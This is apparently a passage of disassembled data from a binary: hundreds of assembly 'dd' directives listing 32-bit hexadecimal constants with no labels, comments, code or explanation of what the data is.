		dd 19C91B02h, 9D4093A1h, 14392A53h, 0C7258383h,	0B8A90C24h
		dd 12EA73h, 0C03818E5h,	0AC948554h, 0FF728600h,	9A2092F9h
		dd 9EE74E7h, 9D58561Ch,	0DBC76048h, 4AE4EC98h, 33B55200h
		dd 0D84624B3h, 611E2ED6h, 936B001Ch, 739A4512h,	0C94C000h
		dd 0B92BAD20h, 42050090h, 92FE3AC1h, 440FC975h,	0E79ACB78h
		dd 0C5F0790Dh, 1D519582h, 411E7741h, 5B24405Fh,	0DBB07068h
		dd 592A8700h, 0D36A28B5h, 0D0860016h, 3472EFB4h, 0CE134B91h
		dd 10004F99h, 0C2D6C36Bh, 0A8CF032Ch, 535E835Bh, 1C0AA070h
		dd 0C8E7212Dh, 6D8DA500h, 1FC7BB2Ch, 0C8AF843Ah, 0B28014AAh
		dd 0BE394AE2h, 1565015Fh, 20240132h, 0FF1C24EAh, 9B00CCB1h
		dd 0BC2B6E8Bh, 0B53B02DEh, 7F46F3D1h, 8C68C60h,	3D80C001h
		dd 410D0244h, 3A37F620h, 8800ABBCh, 40F078B3h, 0F8B015A8h
		dd 6C9EFC0Eh, 0DD21C66Bh, 6AA10188h, 0E56D2DC0h, 6A0724Bh
		dd 130BAEDh, 75C80CC8h,	0BC313A40h, 0E88BA000h,	9AB5A8B4h
		dd 34111D56h, 0A98A8039h, 37D88E51h, 4BCD7900h,	65C414E9h
		dd 94975096h, 40BD2029h, 6F000379h, 0B9264EEFh,	12823CC1h
		dd 93EC9Ch, 0BDEA4060h,	890038F5h, 6AC4D87h, 7BE89CD3h
		dd 0E95AF0E7h, 0F30AF8h, 0E5A629B4h, 8B1ED755h,	0CC77572Ch
		dd 0B0119301h, 30306B1Dh, 0DCFB069Bh, 105A3202h, 5DE9B200h
		dd 0D2D11C2Ah, 996E1878h, 1341C822h, 0A0D47907h, 5E0E8F9h
		dd 0EF077C87h, 0DB84B640h, 0CD310072h, 3A5AA137h, 6250341Eh
		dd 0FF139F93h, 5C004A4Eh, 9EC508AEh, 7B60036h, 0DA810549h
		dd 8F00A980h, 5BA35591h, 0E61AFBC2h, 5E7F134Ch,	0E26C00AEh
		dd 8CE0CD58h, 0C0F72507h
		dd 9290135Ch, 327235h, 1A10B618h, 6C9114EBh, 8C384A00h
		dd 0A71D5E64h, 0EAB9001Eh, 617FD03Fh, 0D4009255h, 0A873EEB0h
		dd 0E81EDFB3h, 3C420008h, 0BA2A0722h, 33507D9Ah, 97004DFCh
		dd 838EEFAh, 0F8FF39h, 0C1DA18A7h, 8E959C9Bh, 8B2C7BF6h
		dd 4F0074AFh, 835CCBDCh, 7C24496Fh, 49133300h, 0E7128F1Dh
		dd 3165C900h, 1029C676h, 8A5500C2h, 0B14DEF47h,	1C3AA066h
		dd 5DF195C8h, 3ADB00F8h, 59DC778Bh, 0CFAF282h, 55283956h
		dd 71073321h, 673D309Ch, 78D0B074h, 0E2402Ah, 60CBBEDEh
		dd 36F2C051h, 83FDDD3Fh, 355F32FAh, 77A100F3h, 0DAC8BCB3h
		dd 14000648h, 4E239097h, 7839F0h, 33466005h, 0CB1B8CFBh
		dd 0BC226600h, 6A768ADDh, 0F03C004Ah, 1257EF09h, 10006D25h
		dd 11358A4h, 0B513769h,	9AA04183h, 38E96440h, 7D172098h
		dd 0A040CFE5h, 2F230EEh, 6E7B0Bh, 3B8B2795h, 1BCCDF2Eh
		dd 0DAD05760h, 0F3AFC9Bh, 8C0F3D6Dh, 5B6AEFE0h,	0E13B2C06h
		dd 118FAEE2h, 1806EC24h, 3B16B3D5h, 591F258Eh, 0FFD84627h
		dd 751EF06Ah, 90F782D3h, 89A98580h, 153200BEh, 39A32A35h
		dd 330747ADh, 5E94EE72h, 0DC111AA0h, 773107F1h,	7087FA65h
		dd 0A40D6B62h, 899A030Bh, 0E7F08041h, 5DCCCEh, 0ACFD76E8h
		dd 2EC1503Fh, 24BE2600h, 903651F0h, 9C477E0h, 87EDAABFh
		dd 20606461h, 0AD00A43Ch, 0AC13CE46h, 15799C9h,	0F608CFB3h
		dd 30608ACCh, 0A537B987h, 4AB0E8EAh, 16241AF2h,	182E8949h
		dd 0FDC4D6B8h, 0F9DC7600h, 0CB23EFE0h, 1E33EA1h, 63D98880h
		dd 8A48618Fh, 0D6CF5F26h, 0C5201400h, 12BF74A4h, 40303437h
		dd 3E976E0Ch, 952449D2h, 0C9802C56h, 14ACFDAh, 0F804E59h
		dd 836262B0h, 0D07AD7F3h, 8003D24Ah, 0A8423403h, 0A4D6BCh
		dd 0D876CE3Eh, 7213BE2h, 39A370E7h, 0AB062C00h,	1298E9A4h
		dd 51DC125Ah, 488CB0ADh, 85133800h, 0BFF50182h,	897E040Ch
		dd 0C0B9B8EBh, 0F9150D74h, 500C4BAh, 0A16110ACh, 2A178AABh
		dd 0F80470h, 0C36212Fh,	0C36CD187h, 0F104BE7Ch,	6EEBB33Bh
		dd 73D6A490h, 6F221EBBh, 48DCC440h, 538C8076h, 8B00BDD3h
		dd 39C8BFFCh, 18200826h, 20DD1B05h, 0DB0082B1h,	134CA964h
		dd 6048D99Dh, 22F6793Bh, 0B51C58E6h, 5CC09604h,	0C069DB35h
		dd 0A340086h, 0C207593Ch, 0FD24CB83h, 9D8088E8h, 0A1349B5Ah
		dd 15C6001Fh, 0CA767D1Eh, 50DCF92Dh, 0AD252741h, 0A49C5F12h
		dd 6DCC808Bh, 0B86471A9h, 0E2AE7506h, 1E51441Ah, 0B9163FC6h
		dd 6C4A8780h, 0A7DE823Bh, 12009BE8h, 9257B75Eh,	83939Dh
		dd 533AC49Fh, 0A1ED2E08h, 6860D600h, 82CA7342h,	3EDF01E3h
		dd 0E41D91A3h, 2102D7F2h, 1F7B7599h, 31E15F5Eh,	0EDA0E850h
		dd 40F3C401h, 0EC3BAD0Dh, 70FE4h, 0F185CB66h, 0A8D52490h
		dd 0D06EF400h, 0F9845860h, 0B8DB0140h, 0EF0F28AFh, 0A7EAC8A6h
		dd 13CF73Ah, 33C51E8Ch,	67E05110h, 0F20D0396h, 391B5956h
		dd 69843BF0h, 217A2D03h, 2FE58h, 9482DFC9h, 0CD500465h
		dd 9E973E00h, 0D03C9087h, 0D2260017h, 11BC93BDh, 2E03F05Dh
		dd 81C2981h, 1A73F827h,	0A1ABB00Dh, 2980A6C2h, 5296BB48h
		dd 29003A53h, 173E38C5h, 1F066AF3h, 4308A2h, 0C0579A5Eh
		dd 33002318h, 3BC62D64h, 0FF91F9h, 4509C111h, 75C43D17h
		dd 0C720E500h, 16D7DA62h, 9B6801F5h, 0EB0F2554h, 0F95BF4DEh
		dd 4C8B2D0Eh, 7A3E60FCh, 3053A396h, 0D37EB20Ah,	7602E237h
		dd 656F211Ch, 28A4E86Dh, 70D64969h, 58F05601h, 527A85DEh
		dd 0A0401C38h, 0D5394197h, 0CD749F50h, 38245338h, 5CDC00EDh
		dd 15A55028h, 0B47C49BAh, 0D5404C88h, 79AD8E6Ah, 400A4922h
		dd 296C8300h, 1BFAD834h, 0C8F44C03h, 0A080D450h, 42C0AB9h
		dd 494A8C7Fh, 369C8C48h, 0D0860F05h, 0D004CC6Dh, 0D8983DF3h
		dd 0C0611C9h, 2619921h,	48908824h, 0AB586C9Ah, 81B2500Ch
		dd 1D132138h, 8801F5F8h, 92344FF2h, 57E91880h, 0A0CF9CDh
		dd 83EBCF3Fh, 0F11EC27Ah, 2006886Dh, 0CC1A17EDh, 0B6380036h
		dd 0CBB718Dh, 0A8432D1Ch, 62819B0h, 0C7EA00A0h,	0E117E5F3h
		dd 0D600FFA7h, 914164D4h, 8EEF43h, 63AA86A2h, 191312B0h
		dd 2836F000h, 88ECFB2Ch, 6BF01Eh, 5FF1AD87h, 42127DB5h
		dd 7B14500Ah, 0BB1D90DFh, 84CFD5h, 0BAC64FE6h, 6977A4h
		dd 0C007BFC8h, 0B021C194h, 0F35D6C00h, 633B7B78h, 0E31B4CD8h
		dd 25131600h, 989FB634h, 0E6B4A000h, 6CDBB1F0h,	0FA3300CAh
		dd 276A8F78h, 465C1276h, 0ECB200DCh, 5764F55Fh,	0B78E055Dh
		dd 9E58291h, 888546A4h,	4DDBC0CBh, 9898A919h, 28845Dh
		dd 47F110CCh, 4BC89C37h, 40441FC0h, 542C9823h, 6CFF148Bh
		dd 66950098h, 71516152h, 0D51B098Ah, 0B4C680ADh, 3CC72A1Dh
		dd 0DBFE9481h, 407C7503h, 8A00D448h, 0ECD75E33h, 0E305E520h
		dd 759C24C3h, 0A84CF0h,	5BA34EA5h, 67452D25h, 245448h
		dd 8241B85h, 7F5CE4h, 0BAAB4AD3h, 81CFFF75h, 0E400154Ah
		dd 6A53DC1Dh, 7B4A01DBh, 0BB69CCA5h, 0AE07F8A3h, 0E5003898h
		dd 665B2AB9h, 5CBE4D32h, 0EA001C10h, 0B8DD4347h, 7F046E9Bh
		dd 80D00338h, 2C6390F0h, 23F26CFh, 0B860916Ch, 62D94C60h
		dd 3100327Ch, 8A936AC9h, 6789ACh, 0FCA37ADEh, 0AA65727Ch
		dd 71636813h, 0E77DA90Eh, 83C22B5Eh, 8588876Ah,	0C07619F0h
		dd 0CA7824h, 0C2F9063Fh, 0E6FCA0C4h, 6CAD1300h,	0F32CF24Eh
		dd 51FB0022h, 3A03C7C9h, 48B82504h, 0EA946201h,	894024A2h
		dd 4617D0h, 0B8859E92h,	631B8FCBh, 0DD50FC00h, 0E66ECEC9h
		dd 0D63800FEh, 6CFAA201h, 0B1005B58h, 55517F5Ah, 7B16D1h
		dd 0E315A662h, 586F6D34h, 0BF5C900h, 0DAA7181Ch, 27351C63h
		dd 86FA80C3h, 0E029FF5Ah, 75000093h, 805CF631h,	0C31B0082h
		dd 0C7F7E92Eh, 95F25918h, 7301BC13h, 22A52404h,	0ACFCA4h
		dd 0A3B1EEF9h, 0BA239B4Ch, 82520739h, 3CF5FFB6h, 44D039h
		dd 68E97522h, 84556590h, 0FDD63D07h, 0F3F0082Fh, 0FD18FCAh
		dd 28466C20h, 0D5D3BF21h, 3A7434ECh, 94BAA972h,	89711D3Ah
		dd 2051244Dh, 986ECFD4h, 0DF3F01BAh, 0E2D10353h, 20E8C874h
		dd 0A001085Fh, 2A37F6C2h, 98C91E31h, 3E800438h,	0DCC02DF8h
		dd 33ED3F01h, 65F0AA5Ah, 684F820h, 0C6970701h, 5B001068h
		dd 0DDD053BAh, 770F3Dh,	0C0CC5F3Ch, 63697911h, 0FC208F0Bh
		dd 7BEF09Fh, 5D1E3E1Dh,	3D5E20C0h, 4E127C60h, 90808A68h
		dd 0BEFC34h, 1DA35C9Ah,	0DBE938BCh, 89A03890h, 20009398h
		dd 0AFB0469Eh, 9066871h, 0F77875C6h, 1F00AF7Ch,	8FA49784h
		dd 0A63E0F57h, 6A2963F3h, 4D88DC00h, 7E03CD55h,	233B4EDEh
		dd 0EE4CD09Dh, 42C98E2h, 0B6C77442h, 0AF54F417h, 0DB50A800h
		dd 0B3CE0E91h, 36ED002Dh, 0DA43AC3Fh, 1C00CD85h, 0DDE30B41h
		dd 33DFF2h, 0D084D542h,	891AD13Ch, 1FBDB53Ch, 65D747D9h
		dd 0C2278600h, 0B8C6AEF4h, 91310046h, 565FA44Fh, 0CE7DFDE0h
		dd 673429C7h, 1800943Ah, 1676D308h, 0F67F00FAh,	0AE5B85B3h
		dd 713FE8F7h, 6A790096h, 0F3B19E66h, 0A8281C31h, 7BE080BBh
		dd 0EA950F9h, 17BC9B02h, 0C0A756D0h, 51F4E9h, 0BE9CE1A6h
		dd 824FBF0Dh, 65A25900h, 83BADB37h, 2BEF00E5h, 0A54C7C17h
		dd 0AC00995Ch, 0D97158Ah, 73936Dh, 570E967Eh, 6F8725F3h
		dd 2882CF3Ah, 9409A3C0h, 2322FABh, 80B727CCh, 0A0F811C3h
		dd 37B1004Dh, 0A3C4C65Dh
		dd 0E26387F4h, 0F845B9F8h, 260BC267h, 12BEC9h, 1A20165Eh
		dd 530025AEh, 0C6FF88BAh, 6F4E58BFh, 0B0A5C660h, 316EC172h
		dd 74C5DCA0h, 9690A600h, 0BEBD2663h, 1FE065h, 0C27C0AF0h
		dd 3347C681h, 0A20C6F09h, 8F7401B8h, 0ED40DC53h, 263A2665h
		dd 0D3789Ch, 0A02858F2h, 16759840h, 3D0B8B0Eh, 84324001h
		dd 52369Fh, 30FEF18Ah, 0C5749B0Fh, 0D203D000h, 7FD92A58h
		dd 0B5A20053h, 61A5357Bh, 0EE002748h, 0A3EB5BB2h, 0B403C5h
		dd 2B4E1CD9h, 932F8155h, 0FA500C7Fh, 0A500F088h, 0B7A7ED51h
		dd 7E53FF43h, 64A0116h,	9EB252A4h, 4F80FFADh, 4578C17Bh
		dd 0E32A6D00h, 9318BF04h, 0C50300B0h, 10789D40h, 2D00FB34h
		dd 0CB531FB1h, 35CE5Eh,	2F92BA21h, 3680046Ch, 20FFDD30h
		dd 0F95669h, 729BC34h, 2F1654E1h, 19D83900h, 145E04DBh
		dd 740E0E85h, 0FC20ACEFh, 80DD1E0h, 6000867Bh, 6D411463h
		dd 5B9EAF4h, 0F2EBCE79h, 44C80150h, 0BD900410h,	39BB0028h
		dd 42345BE8h, 117F6DAh,	0C6A19C85h, 20232237h, 0AD01932Eh
		dd 0EE1A04CCh, 0B8E46EA9h, 18F260E7h, 0F45445C7h, 0B694DB00h
		dd 9951620Fh, 56FAC2h, 0CF0955AFh, 2D6DE1A8h, 808CF53Ah
		dd 0D31E449Ah, 0DF920Ah, 97FAF26Eh, 1B42A0D9h, 860038E0h
		dd 2DD09A59h, 81F41Fh, 668FC316h, 709D5889h, 8CE6DD09h
		dd 0DEC00B3h, 24D5CB3Ch, 87E8E4B5h, 6056C25Eh, 0DB428869h
		dd 829F3639h, 0FA3DFFD0h, 0EC7260FCh, 210733Fh,	17214DBBh
		dd 7040B96Dh, 0AD0199C5h, 38D9506Fh, 0F8CB0975h, 31C9C8h
		dd 3FA98FFAh, 3D2447BFh, 3922C616h, 2D83431Ch, 0D82E5578h
		dd 12BF27Bh, 0BAA591DCh, 0F4C2B45Fh, 530F3704h,	19FBDCFh
		dd 0C5B30B54h, 8B1030h,	0DEB96109h, 9FE70CEAh, 4E776600h
		dd 0B662048Ah, 0EEC01F1h, 923FCEDDh, 478CE089h,	738B0B00h
		dd 0C77BDFF5h, 0F47C3D91h, 5A08A43Ah, 0A31C94C5h, 0FA6FAE47h
		dd 86018C9Ah, 0D47CF829h, 13FEBA60h, 1D23F8Fh, 2EBA5860h
		dd 0A65AFCC6h, 6F325F00h, 0D549E4ACh, 7E9A050h,	8990A0D1h
		dd 88670035h, 0CACB94EAh, 0C6654BE0h, 658076C8h, 7BA30Bh
		dd 799F4A4Dh, 7AD11C16h, 9804F905h, 96C06ABFh, 2D84C226h
		dd 0D77CE3A9h, 0C9F0FD3Ch, 5703427Ah, 41F1E92Bh, 1D75E80Ch
		dd 3B4F004Eh, 9FFFCB47h, 5B00EC24h, 15E3C049h, 0A841B774h
		dd 166B97A4h, 0C71381Dh, 5FD8DD5Eh, 0D00C6418h,	498B60h
		dd 0AA95068Fh, 47BC1F35h, 74FD8800h, 0DEADA328h, 0C7F91EE9h
		dd 87D04055h, 0ED69B107h, 2DD2CB09h, 802C0EF3h,	1781C0FAh
		dd 0AB5600C6h, 190B1B37h, 1C1E8ECBh, 0D4C093D7h, 0EA840EC0h
		dd 36971F2Bh, 0CC59C0AEh, 115A4780h, 0F0E0E7F2h, 94079A05h
		dd 8C003A44h, 558809C6h, 0CB01318Eh, 0FA676590h, 0D8052EC1h
		dd 0EE00186Bh, 3F63CF02h, 1324F6h, 0FED05DC2h, 0FABD66B3h
		dd 0E8D87700h, 5E8140C1h, 0C8EA01F5h, 0DB36E64Dh, 7D7C20E9h
		dd 0DA80C07h, 0CAD06C94h, 3CDCB264h, 898077A3h,	9B22DE32h
		dd 0B1007A51h, 69F75381h, 7797FFDh, 29EB720h, 52F373CCh
		dd 0ED38C8F9h, 0DE20805Ch, 8829D194h, 6C19033Ch, 4A663A71h
		dd 0A039C830h, 0AD711h,	5B9E6AD2h, 89504878h, 2B00E9E6h
		dd 0CE3BDEE2h, 0C0013213h, 6CA8B150h, 0F03F2181h, 7ADE0055h
		dd 0CDACA8Dh, 0A623042Fh, 0D4E0E3ADh, 2ABC80B0h, 0F800DB1Eh
		dd 0DC74FFC8h, 0E4BB4C27h, 64370043h, 7C0E496h,	0FC2C7DB6h
		dd 0A000D7E9h, 0EAACA72Dh, 0AF98F9h, 57467369h,	5A91A2A3h
		dd 531D3301h, 4B0848FAh, 986840CEh, 50A10059h, 7DF7610Dh
		dd 3E241E25h, 0E17303Ch, 82A38306h, 0BAFA38h, 1AA7EE0Ch
		dd 0D109C55Eh, 0A88B0A00h, 8545FDEh, 7D0C240Fh,	0B72A0037h
		dd 15766D18h, 60914213h, 5E7FE0AEh, 0D91A2F00h,	16A4D6FAh
		dd 4F1B1888h, 0DA71E9DFh, 0ABA67607h, 42002655h, 246458h
		dd 953129A4h, 98D2ECAh,	4B825C00h, 2B1B3996h, 8A70006Bh
		dd 0E84C9E34h, 0D00780BAh, 61D75083h, 0EC155D61h, 0B8AC1CE0h
		dd 0B708005Ch, 6519425Eh, 5901C5AAh, 0AE0BB5C7h, 0B44045D7h
		dd 3F392161h, 0D8056B1h, 76CAD2B6h, 51002467h, 9EF66B52h
		dd 0FE02F2E4h, 0A0BA70h, 8D03A1F4h, 6D10841Fh, 0CC76E9F4h
		dd 0EE1BFF02h, 683178C0h, 9DF138h, 0C1363A46h, 61081FB0h
		dd 8EDA1B04h, 30802905h, 7FEC27BAh, 1E93F292h, 80D32FCEh
		dd 5DC1F790h, 8116032Ch, 0E8039D95h, 0C896B6A8h, 295F63h
		dd 2DB454E4h, 6BE2D7FBh, 0EA193512h, 0E9379400h, 0DAA6C0h
		dd 0F2F1D981h, 4D9D20FFh, 9A83E300h, 0BE36A2BCh, 0C72809CDh
		dd 10808CEDh, 0F2D4217Ch, 1092AC30h, 1D8F2Bh, 0DDAD6506h
		dd 2035AEFDh, 6F9EC900h, 0C1A4F58Eh, 0AC020032h, 51AD16DCh
		dd 0F7FE3C01h, 0D2A83000h, 21CB93CDh, 709879h, 9FEEE9FDh
		dd 0ACA3E4DAh, 0E340C006h, 2849F644h, 7FD4F842h, 869001F0h
		dd 0B0FB9DF4h, 887034EFh, 85D3DC0Ah, 3008CDBh, 1B9D3CC3h
		dd 0BA790A7Ch, 83A84F6Bh, 93A9FD04h, 49DCE9C0h,	3E039700h
		dd 0BFAC8F17h, 0FAA70124h, 15769C4h, 0C6DD2021h, 0A2393C0Ch
		dd 54BA9DCh, 0C2987FD0h, 0D6F84E86h, 0EEC3F900h, 0AD0FB4A0h
		dd 0A6625BFEh, 918FB3h,	0DC769122h, 0A043CC8Bh,	9803AD00h
		dd 0B996B4E9h, 652C166Ah, 0B06010D9h, 81F4C610h, 0B744286Bh
		dd 0C4C332DCh, 0A419D418h, 0AA07DDE0h, 9E576086h, 0A507A3AEh
		dd 0BFE80512h, 82322543h, 76402B64h, 4601DF44h,	0DDA812E4h
		dd 8092973Fh, 42A805C0h, 0D190403Eh, 0DF898DCBh, 0A013EBECh
		dd 0FBF8Ah, 4560C1EAh, 1099C031h, 70191CD1h, 40EEAF11h
		dd 0B290C754h, 48DF7C24h, 90006992h, 4C0DDABBh,	0D44339E7h
		dd 42800838h, 5A391297h, 9D01F090h, 44CB5824h, 0A0602103h
		dd 98660062h, 0E505C3FAh, 0FC3ECE67h, 589902C1h, 0E0857273h
		dd 317620h, 0F8FA4D2Dh,	2C634C49h, 102F0A00h, 90BBF70Fh
		dd 0D3DD2ECAh, 68530081h, 0C8354A45h, 0C985DCFBh, 71E90403h
		dd 0E2CB5A87h, 6038C802h, 0E32838B8h, 27BBD30Bh, 1CEAC280h
		dd 0F600C853h, 9D89984Bh, 739286Ch, 78DA9C6Eh, 99CA9085h
		dd 0E5002A24h, 0D8A38C6h, 501D97Dh, 7ACCE13h, 8E9000A7h
		dd 0E7E881D0h, 170FDC00h, 64ECDE73h, 242CF66Eh,	8000A00Bh
		dd 41933907h, 5000A3A1h, 0BA34D87Eh, 3D53C3EEh,	0B8C8EBA5h
		dd 4C13D4B0h, 0DF0093E6h, 0F3D89154h, 2B0DB5h, 0EC8B09ACh
		dd 80D4FA72h, 8CF8E600h, 0E314C123h, 0EBA418C4h, 0FACEA081h
		dd 8313449Ah, 3C017EDEh, 3A1341B5h, 3AB97824h, 0BA422E0h
		dd 0C3358144h, 9C5FDABFh, 0F08C1B41h, 0C0F5C972h, 49F69A68h
		dd 0E860FA67h, 0E5372819h, 349F0EDBh, 5C207761h, 1345D86Bh
		dd 0FB034001h, 0F2E896D4h, 60068AFFh, 127CAE6Ah, 427DCBE4h
		dd 94C20CACh, 7C92E444h, 8A94800h, 528759Bh, 1B0927Ch
		dd 2FC1A1ECh, 45765D60h, 7F5000F4h, 91620E96h, 93A3E83Fh
		dd 28479BF4h, 8037A7Bh,	93E690D4h, 0CF71CDh, 0D954D10Bh
		dd 0DA7E24ECh, 1A8DB4Ch, 52FA617Ah, 0C6C9E1EDh,	60AADE42h
		dd 7F7BBF0h, 0B054F3Fh,	0B7928726h, 0F802F2A6h,	0D7F9F0E0h
		dd 94BFCE40h, 47F18F30h, 0CCF000F7h, 1070C0C9h,	7910F560h
		dd 5CBC4Ch, 2E19D012h, 0C30186A4h, 666DB00h, 25ED7416h
		dd 0C8D33077h, 0E92DA530h, 5154B804h, 9F81B72Bh, 44243191h
		dd 20926Bh, 7AB85A93h
		dd 2FA15DC6h, 5563B70Eh, 0DCD640CEh, 7377114Eh,	782602B9h
		dd 9F61F4Bh, 0A240C3FFh, 7CEB40D2h, 0C48B28E5h,	0CC2F69Ch
		dd 0C86D9A61h, 3F00C110h, 2C30779Ch, 71F704h, 0DF1E4A23h
		dd 0F3DD9312h, 0AC292D14h, 0CFCA00A4h, 0BC1902DCh, 6794184Ah
		dd 0B88BC876h, 2A48967Bh, 9973BE4h, 8044C2D7h, 73A82844h
		dd 1BF50120h, 0CCF61D6Eh, 75D23087h, 0A2989005h, 948050FEh
		dd 3B3D4E83h, 3E7F515Eh, 0A60FDE58h, 0B61E49Dh,	40A90DFDh
		dd 0D102D98Ch, 0EA98210Ah, 9900CCB3h, 0FFDB1746h, 934E3ECEh
		dd 0F7BDB500h, 41D24FBEh, 69C8AA00h, 0E58EF32Bh, 5240009Eh
		dd 94A944FDh, 500AF69Ch, 97720ECAh, 0E6971703h,	26A188B9h
		dd 0BC534D27h, 882FD80Eh, 86EB4600h, 5C00A08Bh,	0EFFB8C79h
		dd 0AB3F5Dh, 0F201FCB1h, 0E48DD0BAh, 62E8DB00h,	54EC22C4h
		dd 0BF0F04B6h, 0C2D13445h, 93E0B3A0h, 0D40724C0h, 866F914Fh
		dd 52EEF960h, 1AF70FB4h, 0CF82CC5Bh, 0AC800EDAh, 0ABFDE967h
		dd 0E727D903h, 0E9D558C9h, 0B4473485h, 2BCC849h, 0C0E50294h
		dd 6AF9B05h, 0B68F6048h, 36898300h, 318D01E8h, 8A750F99h
		dd 0B0209794h, 919EBEF5h, 47008F76h, 5DC207E1h,	1251237Fh
		dd 0E2850A0h, 8CA017A6h, 5A54A612h, 3500D6FAh, 0BFE59367h
		dd 3CA81608h, 0C7245F2Dh, 0B0A50018h, 39D557F8h, 72410901h
		dd 12E028C0h, 46B8AE8h,	9BBFE82Dh, 0B822C22Eh, 0CD1985E0h
		dd 66C0F700h, 962FF71h,	99E81F33h, 581100FDh, 48B57F4Fh
		dd 0A3BEE00h, 12BB897Dh, 5E921E7Ah, 709700C0h, 0D35573CDh
		dd 52179407h, 0D243570Ch, 0DA22F036h, 0E3E61D04h, 9194C39Fh
		dd 0B48030C7h, 6D3BA0D4h, 2011831Dh, 0F022DD89h, 0C9EA71h
		dd 0B63C4096h, 4A926DB7h, 117AB5F6h, 4106A00h, 7C431FFCh
		dd 72CD001Ah, 5C61DC64h, 1B00DE44h, 0CA4136B6h,	9C2DB5h
		dd 23855B67h, 4B30E41Eh, 0C43AB900h, 0BD44CE2Eh, 86B51DD4h
		dd 0BA61401Bh, 1FC929C7h, 0B7255305h, 97011EECh, 0CAEFF18Ah
		dd 0CFF0C6F5h, 0A2DF002Fh, 8F5B4DD6h, 320394AFh, 2BBFB645h
		dd 0BE30E08Ah, 679E00C5h, 11D7BC90h, 0F8F0F343h, 0CE8AA400h
		dd 39DAC1AAh, 0CF420769h, 82D309F2h, 7560FEA6h,	431699A8h
		dd 5512A531h, 0CAD44300h, 374E82Ah, 0E046A17Fh,	44006B0Ch
		dd 3FE909E7h, 308C4DCBh, 6228C2E4h, 5438BB5Dh, 0DFEC80C4h
		dd 9DE3B13Bh, 0D9FC0036h, 89DAB721h, 200A352h, 489683F5h
		dd 0C48042h, 0FE162EDEh, 5529104Dh, 5888680Ah, 3D00B0B0h
		dd 93E28C6Ch, 90A00AF7h, 0C8C9E1h, 0E78D6A4Ch, 781C2294h
		dd 4E80FF96h, 18F4021Ch, 9AEB00D6h, 1E53A7B2h, 6286BCEh
		dd 1A60D2F3h, 1752F7E0h, 48710C5Ch, 0A380F59Bh,	639FB00h
		dd 47F6E778h, 0BCCB3911h, 90098A00h, 95EF4038h,	43BB281Ch
		dd 75104842h, 5D04627Fh, 5DA632E0h, 5A8EF700h, 0E5688061h
		dd 0FF3038CCh, 0B1951380h, 15C6701Ch, 0F00C4D28h, 67CFED00h
		dd 40AA3C11h, 2ADD01BCh, 0F59E31A0h, 0A1DAD815h, 0BB62CB00h
		dd 4CE26C6h, 0F4141FFDh, 0FFC50F23h, 1A403282h,	0A3D160D5h
		dd 4CFB3F81h, 0B808EB9h, 1D6B0DF6h, 8A0F6A93h, 40B135F9h
		dd 0DC1B1E19h, 0BC0F009Ah, 0C1F4CE10h, 3528987Eh, 0A907B873h
		dd 0B982AA01h, 0CA8B62A0h, 5D2B00C7h, 3E752150h, 6A030AEDh
		dd 0B15F9D9Ah, 0F845CBFAh, 0F79DA56h, 5A66B2F8h, 0BA0C09E0h
		dd 0AD006A3Ah, 8ECEC59Bh, 69CF48F2h, 0B500683Dh, 0BF31EF67h
		dd 0F460B528h, 38F6E1F8h, 0F010081Dh, 0F1912B86h, 0DFEF1E18h
		dd 59040C19h, 18F0E711h, 20F5A500h, 435362ADh, 0F0380A0Ch
		dd 9E28C7BCh, 3E0A9C27h, 0B87BE1Ch, 0E06E0D0h, 972649FEh
		dd 4A002D19h, 48C58BC0h, 0D2673C11h, 0A2F25B0Ah, 7B510358h
		dd 8818ED87h, 4208E90Fh, 0BF3215EFh, 123238B2h,	0AA0068C0h
		dd 7547966Fh, 199E2470h, 840B00A9h, 3B2A3D33h, 8BA37400h
		dd 0EA2F067Bh, 2D860059h, 3C5818B4h, 0B6483D0Dh, 0EB1860E0h
		dd 3AA956h, 0C342D640h,	6B303E9h, 20CF6733h, 6839BAD4h
		dd 0CC44248h, 6DF456A2h, 2B0FEE30h, 213523A5h, 6B586665h
		dd 6B01883h, 407C1A90h,	0FB70B3Ch, 157F96Dh, 55DB1EE1h
		dd 0E0803D00h, 4984C854h, 6AFA04Ch, 62AA3B30h, 0DBB933F9h
		dd 89C6B421h, 69B6B018h, 0C80D251h, 0D183D642h,	361E66D1h
		dd 3E8E4E5Ch, 41D28CA3h, 31BD028Eh, 8AB9CCD8h, 3AF30068h
		dd 632ED0Ch, 3E70104Bh,	0FE04D5ADh, 8326C8E3h, 60408C00h
		dd 5CE2DC60h, 48D0EC00h, 2C6C452Dh, 0C1FF00FCh,	0DD8D3C13h
		dd 0A538DBF8h, 58100042h, 8E0CEE5Ch, 0C8B800A1h, 0CFC42377h
		dd 0F70336E8h, 0B3EBFEF0h, 0AA680304h, 0D04C183Dh, 0E2FCB100h
		dd 0C14AC5B4h, 5B601967h, 87BF08F9h, 0B4EA9521h, 7F55E8E1h
		dd 1670D180h, 0E2415F3Fh, 5BBF0700h, 766C0690h,	88EA0AD9h
		dd 0B00D66h, 2D46EB0Ah,	530C63A7h, 186F42A8h, 0B6E310C8h
		dd 822A5111h, 1E80E168h, 0DE10820Ah, 83D0080Ch,	1EB8F364h
		dd 701B20A6h, 2359D2B2h, 0E40142D0h, 0F14ADFB4h, 9B88F718h
		dd 6B400ECh, 4E872D34h,	7A149E5Fh, 14C0C038h, 4F0E9C7h
		dd 0ABEADBCEh, 48C88h, 0EF107EBDh, 0E7871957h, 1B088F66h
		dd 852D0021h, 6F276D7Eh, 99009334h, 0C705BCD5h,	0DF2DB81h
		dd 103C4E7Dh, 0A7688858h, 1BE900CBh, 5B977751h,	0F9A85A00h
		dd 10BFB182h, 0AF6C0047h, 58BAD26Fh, 0ADE8269Fh, 6E842200h
		dd 57FE4409h, 0FCDA0031h, 16E96D19h, 3A00A4A2h,	15220ACFh
		dd 0BEC0ACh, 6C28C582h,	79342E3Eh, 971DD900h, 0FAF3C1C2h
		dd 0A9B73F56h, 65F72280h, 3833A070h, 87383CF0h,	0A1DE9C6Dh
		dd 455F5600h, 7F1DB64Ch, 39CB398Dh, 376FCE07h, 2C59A034h
		dd 7D0F5885h, 0A0FB2ACDh, 1488F0F6h, 0B93F0013h, 3BE9EAE3h
		dd 6481563h, 1D2201F0h,	9BC8774Dh, 32749DCh, 0FE7BBBA8h
		dd 0B9F062F7h, 8F7CCC5Eh, 75381800h, 2265F584h,	0CE5D00BCh
		dd 0F90F1589h, 1D00694Dh, 0B230507h, 58CFB0F5h,	5200ACE7h
		dd 0B2670E1Ch, 590E46DAh, 0A0C52515h, 326FC6C4h, 0DB530E71h
		dd 0FEC1E88Eh, 0D8752B83h, 0A7708107h, 0DC120F00h, 0D6F70A0Dh
